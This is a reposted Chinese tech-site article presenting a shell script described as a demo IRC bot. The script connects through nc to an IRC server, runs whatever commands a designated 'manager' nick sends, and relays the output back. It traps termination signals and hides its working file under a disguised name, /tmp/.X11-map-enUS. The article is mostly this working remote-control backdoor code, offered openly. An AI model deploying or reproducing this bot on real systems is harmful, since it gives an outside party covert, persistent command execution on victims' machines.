知识屋:更实用的电脑技术知识网站
所在位置:首页 > 操作系统 > linux

一个irc bot的shell实现(demo)

发布时间:2014-09-05 17:06:13作者:知识屋

shell算是刚刚起步,这个主要是利用了tail- f 通过管道重定向到nc来与irc服务器进行通信,然后利用sed对其格式化使之符合协议,其他没啥东西了
实现的功能就是命令执行。
代码估计很不成熟,还在学习中,希望大家对细节多提出一些指点。

01 #!/bin/sh 

02  

03 #Shell IRC Bot demo Based on RFC 1459 

04 #Author:Tm3yShell7 @ www.hackshell.net

05 #2011/8/5 

06  

07 myname='testBot' #what you call me? 

08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P 

09 channel='bots' #irc channel 

10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime 

11 mgr='god' #manager nick in irc 

12 cwd='/tmp' # current work directry 

13  

14 trap "" TERM HUP INT QUIT TSTP 

15 #just leave it 

16  

17 echo "NICK $myname" > $tmpfile 

18 echo "USER $myname `hostname` servername realname" >> $tmpfile 

19 echo "JOIN $channel" >> $tmpfile 

20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile 

21 #connect to the irc server and say hello to my manager 

22  

23 tail -f $tmpfile| nc $svradd | while true; do

24                 read cmd 

25                 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1 

26                 test $? -eq 0 || continue

27                 #see if this message is for me? 

28                 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null) 

29                 #delete the header 

30                 cmd=$(echo $cmd | sed "s//r//n/" 2>/dev/null) 

31                 #delete '/r' 

32                 echo $cmd | egrep "^cd *" >/dev/null 2>&1 

33                 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null) 

34                 #update cwd if this is a "cd" command 

35                 echo $cmd | egrep "(^ ?*cd *)|(^ ?*pwd$)" >/dev/null 2>&1 

36                 test $? -eq 0 && cmd="echo [+]Pwd is now $cwd"

37                 #overwirte the "pwd" command 

38                 cd $cwd;$cmd 2>&1| sed "s/^/PRIVMSG $mgr :/" | tee -a $tmpfile >/dev/null 2>&1 

39                 echo "[+] Complete" | sed "s/^/PRIVMSG $mgr :/" >> $tmpfile 

40                 #exec it and send 

41 done

 

 

/

 

from:Tm3yShell7's Blog

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜